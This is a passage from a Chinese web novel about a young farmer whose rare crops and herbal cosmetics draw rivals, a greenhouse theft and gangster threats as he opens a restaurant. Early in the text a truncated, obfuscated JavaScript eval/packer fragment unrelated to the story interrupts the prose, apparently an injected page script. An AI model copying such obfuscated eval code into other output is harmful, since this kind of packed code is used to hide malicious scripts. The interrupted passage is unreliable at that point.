“涛哥，你也知道我这边，温室是陈教授出资建造起来的，也是挂果高，我才能摘一部分放到你那里销售，你也趁着这个机会将精品果蔬的名号彻底打响为明年做准备，何必为了一点眼前利益，将机会让给其他人。” “天扬，我明白了，那接下来我就找地方开分店了。” “这个可以，记住咱们只是一个商人，一定要做到守本分，另外到店购物的顾客一定要登记好，特别是豆芽。” “天扬，现在浅驼有百分之九十的酒店、饭店都选择莫栓的豆芽，他现在可是风头正劲。” “不要管他，咱们做好自己的就行。” 虽说莫天扬并没有宣传青木系列都来自于青木村，不过因为豆芽，哪怕是莫天扬、张学涛他们不宣传，很多在意蔬菜豆芽的人都知道精品果蔬来自于青木村，这也让青木村的名声大噪。 也不过两天时间，省城一家知名连锁超市的采购总监亲自找上门来，想要签订独家供货协议。 “莫先生，我们愿意以每斤一百五十元的价格包销您的青木墨莓。青木玄心果我们也能给到二十八。”穿着得体的总监递上名片，“只要您保证独家供应，价格还可以再谈。” 面对诱人的条件，莫天扬却婉言谢绝了：“感谢贵公司的厚爱，我已经和浅驼的精品果蔬签订了供货合同，不能失信于人。您们是生意人，知道我一旦违约的话会有什么影响。” 送走超市总监后，刘思雨不解地问：“天扬，这么好的条件为什么要拒绝？独家供应不是能省去很多麻烦吗？” 莫天扬摇摇头：“把鸡蛋放在一个篮子里太危险。况且，青木村距离省城太远，这对于青木村的发展没有多大的好处。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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莫天扬心下诧异。随着经济发展，国家愈发重视农林部门，但沛川农林局的人突然找上门，确实出乎他的意料。 他看了眼胡标，胡标会意地笑道：“若曦她们都在后边温室里忙呢。” “标叔，您去忙吧，我来沏茶。”莫天扬说着，转身泡了一壶普通的茶，给三人斟上后，才坐下问道：“不知三位今天过来是……” 刘宏与两位同事交换了个眼神，开口道：“莫总，浅驼精品果蔬店售卖的青木玄心果、青木墨莓，还有那些高品质蔬菜，都是出自您这里吧？” 这段时间这些产品在浅驼已经传开，莫天扬觉得没有否认的必要：“是的。青木玄心果和青木墨莓都是青木山的原生品种，正好省农科院的陈亮教授在这里做项目，是他指导我种出来的。因为挂果量不错，才拿出去试卖一些。” “陈教授？是陈亮教授吗？”刘宏追问。 对方既然能直接找上门，想必已做过调查。莫天扬干脆地点头：“对。” “陈教授现在在吗？” “在温室，我打个电话请他过来。” 片刻后，鞋上还沾着泥土的陈亮从外面进来，换了双拖鞋，看向莫天扬：“天扬，谁找我？” 刘宏三人立刻站起身，态度恭敬：“陈教授，我们是沛川农林局的。我听过您的学术报告。” 第二百零四章风雨欲来 陈亮皱了皱眉：“你们过来是……？” “陈教授，刚才莫总提到，青木墨莓和青木玄心果都是在您的指导下培育成功的，对吗？” 陈亮看了眼莫天扬，见莫天扬微微点头，不由得暗自摇头：“青木玄心果和青木墨莓都是青木山特有的原生品种。我能成功培育，很大程度上是借助了这里独特的自然环境，以及小莫掌握的传统种植技艺。” “我们听说莫总这里成功培育出了青木墨莓和青木玄心果，特地前来，希望能购买一些种子带回去研究。陈教授您也清楚，这两种果蔬目前市面上从未出现过，如果能够成功培育并推广，对农业发展将是极大的贡献。” 陈亮眼神微动，下意识又看向莫天扬。却见莫天扬只是淡淡一笑，端起茶杯抿了一口，一副置身事外的模样，让陈亮颇感无奈。 “小刘啊，跟你们说句实话，”陈亮叹了口气，“我的两位老师——张自强教授和康燕冰教授，之前也尝试过引种培育，但都失败了。” “什么？连张院士和康院士都……” “这样吧，我可以给你们带一些种子回去试试。但能不能成功培育出来，我就不敢保证了。” “太感谢陈教授了！” 刘宏三人带着种子满意离去。他们压根没去细想陈亮口中的“老师”究竟是何方神圣，只顾着沉浸在获得种子的喜悦中，以为带回去就一定能培育成功。在他们看来，陈亮那番话不过是想让其他有意引种的机构知难而退罢了。 “天扬，他们这……”陈亮看着三人远去的背影，语气中带着担忧。 莫天扬摇摇头：“陈教授，连张老和康老都培育不出来，他们成功的机会微乎其微。如果我直接拒绝，反倒显得我们小家子气。不如让他们自己去碰碰壁，事实胜于雄辩。” “主要是太浪费了！这次是沛川农林局，万一其他科研机构或企业听说后也来要种子……这些种子都是你辛辛苦苦收集、优选出来的，看着被这样浪费，我心疼啊！” 每次送走来访者后，陈亮都忍不住叹气："这样下去不是办法。种子就这么多，要是人人都来要，咱们自己的扩种计划都要受到影响了。" 站在温室前，莫天扬无奈地说："陈教授，若是不给，他们很可能会给我扣上''阻碍学术研究''的帽子。我不过是个小人物，可不想整天被人指着脊梁骨骂。" 然而，树欲静而风不止。就在莫天扬疲于应付各方求种者时，王海龙带来了一个更令人不安的消息。 "天扬，沙坨村土地的承包者已经查到了。"王海龙神色凝重，"明面上的承包者没什么特别，但幕后老板是林氏集团的林耀东。而且，林耀东还在沛川购置了大片土地，声称要打造一个大型农业基地。" 莫天扬眉头紧锁："林氏集团之前有涉足农产品领域吗？" "没有。看来他是看到了你种植的这些果蔬的巨大市场潜力，才想插一脚..." "这么说，最近这些来要种子的机构里，很可能有他派来的人。" "这方面我们还没深入调查，但我认为，既然他承包了沙坨村的土地，接下来很可能会种植和你相同的果蔬。他承包的土地面积很大，需要的种子量也大。青木墨莓和青木玄心果都是新品种，他们要种植的话，必然需要大量种子进行培育。" 莫天扬深吸一口气："他的手伸得真够长的。" "天扬，这几天我会加强戒备。" 莫天扬摇摇头："有青峰、青羽和大青它们在，这边应该不会有事。对了，强哥和辉哥他们在浅驼的新家安顿得怎么样了？" "都安排妥当了。" "有人去找过胜哥他们吗？" "去过几次，都被赵兴胜他们回绝了。莫栓也去威胁过两次，不过最近他忙着豆芽的生意，就没再出现。" 莫天扬点点头："海哥，你抽空去一趟沙坨村，取些那里的水土样本回来。" "明白。" 王海龙离开后，莫天扬去温室找到陈亮："陈教授，您觉得沙坨村能种出和我们这里品质相当的蔬菜瓜果吗？" 陈亮眼神微动："这几天我也在村里其他区域取了样。土质和你这里相差不大，但水质与你那口古井的水相差甚远，水中缺乏那种特殊的活性元素。不用古井水的话，就连青木村的其他地方都种不出同等品质的蔬菜。至于沙坨村的情况，目前还不清楚。" "我已经让人去沙坨村取样了，到时候麻烦您帮忙化验一下。" "这个没问题。" 当天下午，王海龙就拿到了沙坨村的土样、水样，陈亮马上就开始了初步检验，检验的结果也让莫天扬感到欣慰，沙坨村的土样、水样和青木村的其他区域一样没有任何特别之处。 土壤、水源没有什么特别之处，那就种植不出和他一样的蔬菜、瓜果，莫天扬现在也只能担心林耀东对他身边的人动手。 “海哥，林耀东去沙坨村没有。” “现在沙坨村土地承包者根本不是林耀东，他不可能回去沙坨村，他这样做肯定有他的阴谋，不过机器已经进入沙坨村，看样子他们很快就要平整土地为明年做准备。” 就在这天早上，莫天扬起来正在洗漱，一阵急促的敲门声响起，莫天扬匆忙洗漱了一下开门。 门外，陈亮是满脸焦急，“天扬，温室出事了。” 匆忙跟着陈亮走出楼房，大青、小白就到了他的身边，大脑袋在他的腿上蹭了蹭，这让莫天扬一愣。 青狼以至于小白的警觉性极强，有他们在温室怎么会出事，大青、小白就在锅楼房，哪里距离温室更近…… 心里满是疑惑，莫天扬进入温室，门口的西红柿、黄瓜倒是没有太大的变化，也就是有几株西红柿、黄瓜有点凌乱。 不过等靠近后墙的位置，莫天扬就感受到了丝丝冷意。在经过青木玄心果、青木墨莓种植的区域，莫天扬眼眸一缩，他看到两片地里了空地，空地的位置植株消失不见，在哪些区域还有一些被拔起来没有带走的青木玄心果、青木墨莓。 “进贼了。” “天扬，你来这里。” 一处靠近后墙的位置，一个七八十公分大小的大洞，寒风冲大洞进入温室，那片区域的青木朱瓜一片狼藉。 莫天扬快步过去，他看到大洞周围区域的青木朱瓜的叶片已经结冰，这让莫天扬的眼眸中弥漫出一丝冷意。 “天扬，先用塑料布堵上。” 将大洞用塑料布堵上，莫天扬给王海龙打了个电话，王海龙很快过来，里里外外转了一圈。 “天扬，对方作案手法很是专业，不是普通的小毛贼，他们应该专门冲着青木玄心果、青木墨莓过来的，他们踩踏了不少青木朱瓜，不过并没有摘走。” 莫天扬点点头，“海哥，你去找吕建国，让他找几个工人过来，将这里修补一下。” “用不用加固一下，这样下一次如果他们从后墙想要进来难度就会增加。” 莫天扬摇摇头，“不用了，如果他们要偷盗的话，从哪里都能进来，从今天开始，每天我会留几头青狼在温室。” 等王海龙离开，莫天扬看了眼跟着进来的大青、小白，他心中的那些疑惑也跟着消失。 温室有隔温层，对方从后墙入手，而且他们有很是专业，想必过来的时候已经调查过他这边的情况，只要他们小心，青狼还真的感受不到动静，所以他们才没有发出预警。 温室后墙被凿了个大洞，青木玄心果、青木墨莓被盗，可对方却没有动青木朱瓜，这让家里人很是惊讶。 “天扬，要不给婧雅打个电话，让他带人过来，事情虽说不大，可温室却是农科院的研究场所，这可是破坏研究成果……”颜若曦冷着脸说道。 “对，他们有这一次或许还有下一次，必须的抓住他们。”胡标接口道。 “海哥过去看了一下，对方很是专业，想必他们也调查过这里，村里又没有监控，就是楚婧雅过来也不一定能够调查出来，海哥今天就会去县里，到时候后墙位置也会安装监控。” “天扬，这件事如果让村里人知道的话，会不会引起他们的恐慌。” “陈教授发现的早，吕建国的人将哪里做起了围挡，说是维护，只要不说出去村里人是不会知道。” “天扬，这些天，每一天都有人过来索要种子，他们更是想要拿到青木玄心果、青木墨莓的株苗回去研究，会不会是你拒绝了一些资质不够的机构，他们怀恨在心才会找人过来偷盗。” 莫天扬深吸口气，心头闪动了一下，一般的科研机构可是干不出这种鸡鸣狗盗的事情，不过却有一个人，他或许为了达到某种目的会不择手段。 不过为了不让家里这些人担心，莫天扬淡淡一笑，“这件事情就此打住，大家也不要去说，以免堵心。” 第二百零五章净颜无痕 温室遭遇偷盗的事件，莫天扬既没有声张也没有报警。颜若曦等人猜测是那些被拒绝的机构怀恨在心，但莫天扬和王海龙心里另有判断，只是为了避免家人担心，他们选择了保持沉默。 虽然闭口不提，莫天扬却用行动加强了对亲友和产业的保护。王海龙暗中在多个关键位置安装了监控设备，不仅覆盖了温室区域，连豆芽房、酒坊周边也都纳入了监控范围。青狼更是被安排夜间值守温室，成为这片土地上最忠实的守护者。 随着天气渐冷，莫天扬终于揭开了青木朱瓜的神秘面纱。当这种外形独特的瓜果出现在张学涛的精品果蔬店时，凭借其独特的香气和绝佳的口感，迅速引发了抢购热潮。 继青木墨莓、青木玄心果之后，青木朱瓜的横空出世，让所有人都意识到这些神奇作物都出自同一个地方。人们难以想象，一个小小的青木村竟能接连诞生三种前所未见的特色农产品。 那些早早索要过种子的机构懊悔不已——若是晚些时候上门，或许就能拿到青木朱瓜的种子了。这种带着特殊香气、口感绝佳的瓜类，其价值显然不可估量。 青木朱瓜的亮相，让青木村再次登上热搜榜单。省农科院、陈亮教授和那个神秘的温室，也随之成为人们热议的焦点。 直到这时，众多渴望获得种子的机构和个人才恍然大悟：这三种神奇作物的诞生，与陈亮教授的科研指导密不可分。 很快，莫天扬家的大院再度热闹起来，堪比盛夏时节。科研机构、农业企业、媒体记者、自媒体博主纷至沓来。 或许是因为之前青峰、青羽伤人的事件，无论来客身份多么显赫，在没有得到莫天扬允许的情况下，都不敢擅自闯入院子。 随着最后一种神秘作物青木朱瓜的亮相，温室已经没有什么秘密可言。莫天扬索性将温室的接待工作全权交给陈亮处理，由胡标、曹勇等人协助，自己则当起了"甩手掌柜"。 随着各路人士的到访，温室的真实情况逐渐被曝光。当人们看到如葡萄般成串挂果的青木玄心果、墨色深邃的青木墨莓，以及形如秤砣的青木朱瓜时，无不惊叹大自然的神奇造化。 就连常见的西红柿、黄瓜、茄子、豆角等作物，也引起了阵阵惊叹。夏季时，莫天扬种植的蔬菜虽然已经在网络上走红，但当时使用的还是竹架。 而如今，即便是用塑钢搭建的支架，也被沉甸甸的果实压得微微弯曲，就连茄子、青椒等作物都需要用竹竿额外加固。 这样的高产景象，让人们在赞叹作物品种的同时，也不得不佩服陈亮教授的技术实力。 不少科研机构和农业企业见状，纷纷向陈亮抛出了橄榄枝，开出优厚条件想要挖走这位农业专家。然而陈亮始终不为所动，他深知，这些作物的神奇之处，远非单纯的技术所能解释。 陈亮、曹勇等人每天都要接待数不清的访客，陈亮更是说得口干舌燥。而莫天扬却始终没有露面，只要有外人来，他就躲在自己房间里埋头研究中草药。 这天，刘思雨、颜若曦和曹慧正在客厅听莫啸讲述当年的故事，忽然听到一声轻微的房门响动。三人不约而同地看向莫天扬房间的方向。 只见莫天扬兴冲冲地从房里出来，手里捧着一个小药钵。刘思雨等人心中一动——难道又有什么新发现？ 要知道“落液无痕”虽然已经研发成功并注册，但由于只有莫天扬一个人制作，产量一直不高，做出来的产品也只供她们几人使用。 别说颜若曦、刘思雨这样的天生丽质的美女，就连曹慧用了“落液无痕”后，脸上也看不出岁月痕迹，三十多岁的她看起来就像二十出头。 “天扬，这次又研究出什么新香味了？”颜若曦好奇地问。 莫天扬嘿嘿一笑，在沙发上坐下，轻轻揭开药钵的盖子。一股不同于“落液无痕”的清香顿时弥漫开来，虽然同样清淡，却格外诱人。 “真的是另一种香味！这香味不比上一种差。” “这不是‘落液无痕’吧？” 莫啸也看向茶几上的药钵，眼中闪过一丝惊讶：“小子，你又鼓捣出什么新花样了？” “爷爷，这是‘净颜无痕’。‘落液无痕’主要祛疤除痕，这个则是美白养颜，对肤色偏黑的人应该特别有效。” “你试过了？” 莫天挽起袖子，颜若曦等人看到他手臂上有一片肤色明显浅于周围的区域。 他蘸取一点“净颜无痕”涂抹在另一片区域，颜若曦几个不禁低呼一声——只见乳白色的药液涂抹在皮肤上后，以肉眼可见的速度迅速渗透。不过一分钟时间，药液就完全被吸收，那片皮肤变得湿润，肤色明显比周围白了一些。 “天扬，这太神奇了！”颜若曦激动地看着莫天扬，声音里带着惊叹。 出身豪门的她用过无数高端护肤品，深知药液渗透的难度。这种一分钟内完全吸收的效果，她还是第一次见到。 莫啸一直静静观察，看到药液完全吸收后，眼中流露出欣慰之色：“这就是古人的智慧啊。” “这‘净颜无痕’会不会有副作用？” 莫天扬摇摇头：“我是严格按照古方配制的，具体有没有其他作用还不清楚，需要找人化验一下。”说着，他的目光落在颜若曦身上。 颜若曦会意一笑：“没问题，化验的事交给我。如果没问题，我帮你注册。” “那就多谢了。” “天扬，你说我们该用‘落液无痕’还是‘净颜无痕’呢？”刘思雨笑着问。 莫天扬哈哈一笑：“要我说，你们最好什么都别用，素颜最美。” 话音未落，他就收获了几记白眼。他笑着起身：“你们聊，我出去转转。” “你要去温室吗？刚才来了一批人，说是申城农科院的……” “有客人啊，那我去酒坊看看。” 虽然气温已降至零下二十多度，每天仍有人来访，但院子的工程并未停歇。 四合院的轮廓已然显现，主体建筑将原本五六亩的大院子分成内外两片区域，池塘位于外院。按照计划，今年要完成主体框架建设，所以内院已无工人，工人们正在外院进行主体施工。 莫天扬在主体建筑间穿行，很快通过一条通道来到酒坊区域。自从发生偷盗事件后，酒坊两侧都筑起了高墙，与外部隔开。 在酒坊转了一圈，莫天扬打算去豆芽房看看。刚走出酒坊，就看到王海龙在向他招手。 王海龙的住处，他给莫天扬倒了杯茶：“天扬，浅驼那边，徐志国他们看中了几处门店，但每次刚要签合同，对方就突然反悔。打听了一下，是莫栓在背后威胁。那些店主不想惹麻烦，都拒绝出租。” 莫天扬皱起眉头：“莫栓什么时候有这么大能耐了？” “安云飞倒台前，他就网罗了一批小混混。现在靠豆芽生意，他在浅驼乃至沛川都混得风生水起。大餐馆、酒店都要给他几分面子，更别说那些没什么背景的小老板了。” “这个祸害。”莫天扬眼中寒光一闪，掠过一丝杀意。 “天扬，老人常说''人狂必有祸''。莫栓没了靠山，豆芽又在掺假，他蹦跶不了几天。” 莫天扬深吸一口气：“这我知道。但那店铺......” 王海龙眼神微动：“倒是有一家。店主家底丰厚，看不起莫栓那种人。他以前也开过餐饮店，但经营不善，现在想整体转让。” “那还等什么？” “他家的规模不小，算是个中型饭店。整体转让加上租金，一次性要四十多万。前段时间餐馆赚了些，但也就七八万。” 莫天扬淡淡一笑：“钱我这里有。能租就租下来，这几天让他们回来，我教他们几道新菜。先熟悉着，等开业后我在那边待一段时间。” “对了，记得小餐馆那边不是转租出去了吗？他们生意怎么样？” “他们打着招牌鱼目混珠，刚开始不知情的人还以为徐志国他们还在经营，生意很不错。但他们的炖肉很一般，顾客去过一次就不愿再光顾。现在每天只有零星几个客人，照这个情况那个餐馆迟早要黄。” “对了，前几天那个老板还舔着脸联系徐志国，想要让徐志国他们再去接手那个餐馆，还说租金可以商量。” 莫天扬摇摇头，“这就是人性，当初没人租他餐馆的时候，他求着咱们租，火了他觉得是他餐馆位置好，这现在又要被打回到原来的样子，马上赚不到钱，他有舔着脸过来。” “就是，原本咱们是打算做到合同到期，他翻脸正好省了几个月租金。” “海哥，马上去联系那一家饭店的老板，将饭店先拿下来，简单收拾一下，对了，将莫栓的事情和他说一声，咱们不能让人家吃亏，如果愿意的话咱们就租，不愿意的话，咱们再去其他地方看看。” 第二百零六章青木轩 接下来的几天，徐志国、王宏伟来到青木村跟着莫天扬学习厨艺，莫天扬也将和爷爷研究出来的特色菜列了一个单子，每天都会用心教授徐志国、胡亮、曹慧。 原本感觉厨艺只有莫天扬一个人能够超越他，可徐志国在来到青木村之后，他才惊讶的发现。哪怕是接触厨师时间并不长的胡亮学习做菜的天赋都比他强。 知道曹慧、胡亮都比他强，这更是激起了徐志国的求胜欲望，他更是用功，很多时候都会求教莫天扬、莫啸。 在徐志国他们跟着莫天扬、莫啸认真学习厨艺的同时，留在浅驼的赵兴胜也传来了好消息，经过洽谈，花费四十二万拿下了那一家中型规模的饭店。 与此同时，颜若曦也带来了好消息，净颜无痕化验结果也出来，不但没有检验出对人体有害的元素，还和落液无痕一样里面蕴含了对人体有益的活性元素，完全符合国际标准，而且还是国内继落液无痕之外，第二款纯中药的化妆品。 “天扬，现在你手里已经掌握了落液无痕、净颜无痕，完全可以弄一个作坊，小批量生产落液无痕净颜无痕。” 莫天扬长出口气，心里满是感慨，曾经接触中草药完全是为了酿制屠苏、凝露，不过随后就对中草药产生了兴趣，直到刘思雨遭遇车祸，从爷爷哪里拿到三个古方子，这才有了现在的落液无痕、净颜无痕。 “现在咱们根本没有地方，也没有工具，回头研究一下。” 颜若曦杏目闪烁了几下，“地下室空着呢，随便找个地方就能做，正好也隐蔽。” 莫天扬哈哈一笑，“好吧，先弄一些出来给你们使用。” 然而，好消息总是伴随着坏消息。就在莫天扬准备前往浅驼签订饭店租赁合同的前一天，王海龙急匆匆地赶来。 "天扬，不好了，莫栓不知道从哪里听说我们要开饭店，已经放话要让咱们在浅驼开不下去！" 莫天扬冷笑一声："跳梁小丑而已。合同照签，我倒要看看他能耍什么花样。" 莫天扬、王海龙的对话让所有人都是一愣，早在青木餐馆开业的时候，莫天扬每天都会下去帮忙，那个时候人们心里已经猜测青木餐馆或许就是莫天扬出资，只不过莫天扬一直没说，人们也没有询问。 这几天徐志国、王宏伟都在这里跟着莫天扬、莫啸做菜，人们心里基本上已经确定莫天扬和餐馆有关系，只不过真正听到，他们还是无比惊讶。 “天扬，不用说是青木餐馆关门了，你这要重开？” 莫天扬点头，“这不是刚找了一个地方，莫栓就过去威胁。” “这个人渣，安云飞都倒台了，他还敢在浅驼威胁人了。”陈宏利这些知道莫栓底细的人都瞪大眼睛，。 “他现在可是浅驼炙手可热的人物。” “他就是一个人渣，还真的没天理了。” 颜若曦杏目闪烁了几下，“他再大也大不过法律。” 第二天，莫天扬跟着徐志国等人来到浅驼。那家要转让的饭店位于浅驼最繁华的商业街，面积很大，装修也颇为考究。店主是个五十多岁的中年人，看上去很是精明。 "莫老板，久仰大名。"店主热情地迎上来，"听说您要用青木村的特产做菜，这个主意好啊！" 签约过程很顺利，莫天扬当场支付了定金。然而就在他们准备离开时，一群混混模样的人堵住了饭店门口。莫天扬看到有人过来，他并没有出面，而是冲着徐志国几个点点头。 "徐志国你们他妈的还真的不听劝？"为首的黄毛青年阴阳怪气地说，"在浅驼开饭店，问过我们栓哥了吗？" 徐志国眼眸一寒，"开饭店是合法经营，我只要有证谁也拦不住，栓哥是谁我不认识？" "浅驼的餐饮业，我们栓哥说了算！"黄毛嚣张地说，"识相的话，让栓哥参股，否则……" "否则怎样？"一个清冷的声音从人群后方传来。 众人回头，只见楚婧雅带着几名执法人员走了过来。"聚众闹事，威胁他人，你们是想进去蹲几天？" 黄毛等人顿时慌了神，支支吾吾的说不出话来。 "还不快滚！"楚婧雅厉声喝道。 混混们如蒙大赦，一溜烟跑了。 "警官，谢谢你。"虽说知道过来的是楚婧雅，徐志国几个的心里很是疑惑，不过他还是说出感谢的话，可却没有提及楚婧雅的姓。 楚婧雅摇摇头："我也是正好路过，你们放心，现在是法治社会，不要忌惮这种人渣，如果他们还敢过来闹事，直接报警。" 有了楚婧雅的支持，徐志国几个更有底气了。接下来的日子，徐志国几个全身心投入到饭店的筹备中。装修、招聘、菜单设计，每一个环节都亲自把关。 而或许是有了楚婧雅的震慑，莫栓以及他手下的那些小混混，一次也没有过来。 饭店取名"青木轩"，主打还是炖肉，不过炖肉的品种要比青木餐馆的多了不少，就是炒菜都罗列了二十多种。开业前夕，莫天扬特意请来了张学涛以及他的一些朋友试菜。 虽说是徐志国、曹慧和胡亮掌勺，但既然莫天扬敢放手让他们做菜，说明他们的手艺已经得到了他的真传和认可。 张学涛带来的朋友们尝过菜品后，一个个赞不绝口。就连见多识广的他们也忍不住感叹：青木轩的炖肉和炒菜，就连浅驼最好的酒店都做不出这个味道。 送走朋友后，张学涛又返回青木轩，在总经理办公室找到了莫天扬。一见面，他就竖起大拇指。 “天扬，真有你的！不声不响就开了这么大一家饭店，以后我可算有个固定的好去处了。” 莫天扬微微一笑，给张学涛斟了杯茶：“涛哥觉得菜品怎么样？” 张学涛朗声笑道：“我的嘴早就被你养刁了。虽说比不上你亲自下厨，但我那些朋友可是差点连盘子都舔干净！他们在县里也算有头有脸的人物，等正式开业后，肯定会常来捧场。” “那就好。徐志国他们之前在青木餐馆主要做炖肉、凉菜和大烩菜，这几天在我那儿突击学了几道新菜，火候还欠些功夫，但只要多练习，肯定没问题。” “原来青木餐馆也是你开的？” “算是吧。” “我可听说青木餐馆之前......” “是沛川一家星级酒店看中了炖肉的配方，徐志国他们不肯转让，对方才来找麻烦的......” “原来如此。我在县里也有些关系，以后有什么需要帮忙的，尽管开口。” 莫天扬眼神微动：“我现在还不想太早走到台前，除非必要，就不麻烦你了。再说，这饭店的前任老板贺飞在浅驼也挺有实力，他说一般的事情他都能帮着解决。” “你说贺飞啊！”张学涛连连点头，“他家老一辈在县里根基很深，人脉广得很。有他照应，肯定没问题。” “贺飞这么有能量？” “没错。他父辈在县里经营多年，不仅在浅驼，就是在沛川也颇有声望。虽然现在家里没人从政，但大家都会给他几分面子。” “那就好。以后有招待可以带到青木轩来，我会安排好。对了，以后饭店需要的蔬菜原料都从你那里进货，咱们先建立个合作关系，你过来也方便些。” “行，你让他们过去，到时候我们做做文章给外人看看，到时候青木轩的蔬菜、肉类都交给我，肉类绝对是浅驼这边价格最低品质最好。” 青木轩做最后的筹备，青木村每一天依旧有很多的农业方面的人士、媒体过去。 沛川农林部门的实验室，一个年岁在二十七八，满眼很辣的青年盯着一群身穿白大褂的人群，这其中更是有多位白发苍苍。 “废物，真是一群废物，种子、株苗都拿给你们，可到现在你们连株苗都培育不出来，我花这么多钱找你们干嘛，就是找几头猪都比你们强。” 一群人中很多人在西北地区都很是出名，可现在他们却一个个都不敢言语，哪怕是他们心里有怨气，他们都得忍着，因为这个青年给了他们大笔资金用于研究，可他们却没有给人家一个答案。 曾经去过莫天扬家的刘宏，眼眸闪烁了几下，深吸口气，“林少，我这几天打听了一下，不说是我们这里，凡是从青木村拿到种子的机构，除了那些普通的西红柿、黄瓜之外，青木墨莓、青木玄心果没有一家机构能够培育出来，哪怕是陈亮的老师张自强、康燕冰这样的院士也不行。” 林耀东眼眸微微一缩，“你是说他们给的种子有问题，就说种子有问题，我给你们的新鲜玄心果、草莓株苗、果实怎么说，难道这里面也有问题。” 刘宏赶忙摇头，“我们不是这个意思，在我们过去的时候陈亮和我们说过，青木墨莓、青木玄心果都来自于青木山，也只有青木山脉的土壤、水源才能孕育出来，另外陈亮可以欺骗别人，可不能欺骗他的老师，所以我们觉得所有机构都培育不出来和土壤、水源有关系。” 第二百零七章无法复制？ “你们不是号称沛川最好的农林机构吗？怎么连这点事都办不成，还需要依赖特定的土质和水源？” “林少，您有所不知。青木山脉是西北地区罕见的、雪域与森林并存的大型原始山区，至今即便是国家层面的科考队，对其了解也未必比得上世代居住在山下的老山客。山中许多物种仍处于原始状态，对环境的要求极为苛刻。” “那青木村的实验室是怎么成功种植的？” “青木村本就坐落在山脚，土壤成分和水源特性都与山脉内部高度相似。加上有陈亮那样的准院士级专家坐镇，能成功并不意外。” “如果我们弄到青木山下的土壤和水，你们有没有把握？” “理论上……没问题。” “那就尽快去办。另外，青木村最近推出的‘青木朱瓜’，上一次你们去考察时为什么没有汇报？” “林少，这种瓜在青木山脚下就有野生种，当地人叫‘血瓜瓜’。但过去从未人工培育成功，要么不挂果，要么品质差，数量也稀少，所以外界几乎无人知晓。他们能种出来，恐怕又是陈亮的手笔。” “这个陈亮，确实不简单。你们必须尽快攻克青木朱瓜的培育技术。” “明白，林少。” 刚走出实验室，一个皮肤黝黑、身形精干的青年快步走近，低声对林耀东耳语了几句。林耀东眉头骤然收紧。 “去办公室谈。” 办公室里，林耀东转身关上门，声音压低：“托尼，什么情况？” “林少，我们雇了顶尖黑客追查，发现之前那批资料的IP经过多次境外服务器跳转，最终源头是一个闲置多年的海外服务器。从手法上看，是专业团队操作，不太可能是沛川本地人能做到的。” “境外？”林耀东眼神一凛，“那个刘家，查得怎么样？” “刘家背景很普通，刘思雨去年才从一所重点大学毕业，社会关系简单。” “有没有可能是她本人？” “我们深入调查过，她在校期间计算机能力一般，不具备这种技术。不过有一件事值得注意：刘思雨脸上的伤，似乎恢复得差不多了。” 林耀东猛地站起身，紧盯托尼：“怎么可能？那种伤怎么可能恢复？” “确实恢复了。听说是莫天扬用一张古方配制出了一种叫‘落液无痕’的药膏，治好了她。” “不管用什么方法，把那张方子弄到手。” “还有，林少，莫天扬除了发豆芽，最近还在试酿一种叫‘屠苏’的古酒。据帮他干活的人说，口感非常独特。” “尽快搞到样品。另外，我父亲的死和刘家那几个脱不了干系……”林耀东眼神渐冷，声音里透出狠意，“我要他们付出代价——所有跟那件事有关的人，一个都别想逃。” “但青木村那边有二十多头青狼，虽说是从小养大的，野性还在。在村里动手，风险不小。” “他们总有落单的时候。只要有机会，就必须下手。” 就在林耀东暗中布局的同时，青木村却是一片祥和景象。莫天扬正在酒坊里查看新一批屠苏酒的发酵情况，浓郁的酒香弥漫在整个作坊。 "天扬，这批酒的味道比上次还要醇厚。"胡振南深吸一口气，赞叹道。 莫天扬轻轻搅动酒缸，眼中带着满意："再陈酿半个月就可以出窖了。对了，振南，村里没什么事吧？" 胡振南眼眸闪烁了几下："倒是有一件事。前两天有几个自称是地质勘探队的人来村里取样，说是要做什么土壤普查。但我看他们的举止不太像专业人士。" 莫天扬手中的动作微微一顿："取样？取了哪些地方的？" "就咱们今年种植的土壤，他们还索取了一些咱们用的井水。"王海龙笑着说道，"对了，他们还说在周围村子也取样做调查。" 说者无心听者有意，莫天扬瞬间感觉到这件事情不普通，取样很是正常，可这些年好像没有听闻过有勘探队过来取样，这现在他们取样却就在自己附近，还专门索要了井水。 而此时沛川农林部门的实验基地里，林耀东正听着研究人员的汇报。 "林少，初步检测结果显示，青木村的土壤和水中确实含有特殊的微生物群落。但奇怪的是，这种微生物群落只存在于莫天扬种植的那片区域，其他区域几乎没有，沙坨村的水土中同样没有。" 林耀东不耐烦地挥手："我不管什么微生物，我只问你们能不能复制出青木村的那些特产？" 研究人员面面相觑，最后为首的老教授硬着头皮说："短期内恐怕很难。这些作物对生长环境的要求太特殊了，就像茅台镇的水酿不出第二个茅台一样。" "废物！"林耀东猛地拍桌，"我投入这么多资金，不是来听你们说不可能的！" “林少，早年我们也曾在青木村取样检测过，但当时的检验结果中并未发现这些特殊的微生物群落。这很可能是莫天扬通过某种特殊方法，在土壤中培育出了这种能够促进农作物生长的微生物。” 林耀东眼神闪烁不定。这段时间他一直在暗中调查莫天扬，发现这个年轻人虽是名牌大学毕业，却没有任何农业种植的经验。多方消息证实，莫天扬采用的确实是传统的农业种植方式。 “刘宏，你说传统农业中会不会有什么特殊的秘法……” “一些农业古籍中确实记载了几部已经失传的农书，其中提到过特殊的种植方法。难道说莫天扬手中有失传的农业典籍？” “知道了，你们继续研究。明年我一定要在沙坨村见到他种的那些特殊品种。”林耀东冷冷道。 待刘宏等人离开后，托尼悄无声息地出现在林耀东身边。 “托尼，刚才的话你都听到了。这个莫天扬很不简单，我要知道他的秘密。你去试探试探他。” …… 几天后，莫天扬照常前往浅驼的饭店。车子行驶到半路，开车的王海龙突然低声道：“天扬，后面有尾巴。” 莫天扬皱眉看向后视镜，果然发现两辆黑色轿车不远不近地跟着。 “正常开，不用理会。”莫天扬平静地说。 就在车子即将进入县城时，那两辆轿车突然加速超车，一个急刹横在路中央。几名彪形大汉跳下车，手中都拿着棍棒。 王海龙眼中寒光一闪：“天扬，你在车里别动，我下去看看。” 莫天扬冷笑一声：“海哥，这次让我来。你正好看看我这段时间有没有进步。” 就在莫天扬准备下车时，远处传来警笛声。那些歹徒闻声色变，慌忙上车逃离。 “天扬，看来有人盯上你了。我已经记下车牌号，等送你到饭店后就去调查。”王海龙神色凝重。 待王海龙驾车离开后，一道身影从远处树后闪现。他看着呼啸而过的警车，眼中闪过冷意。 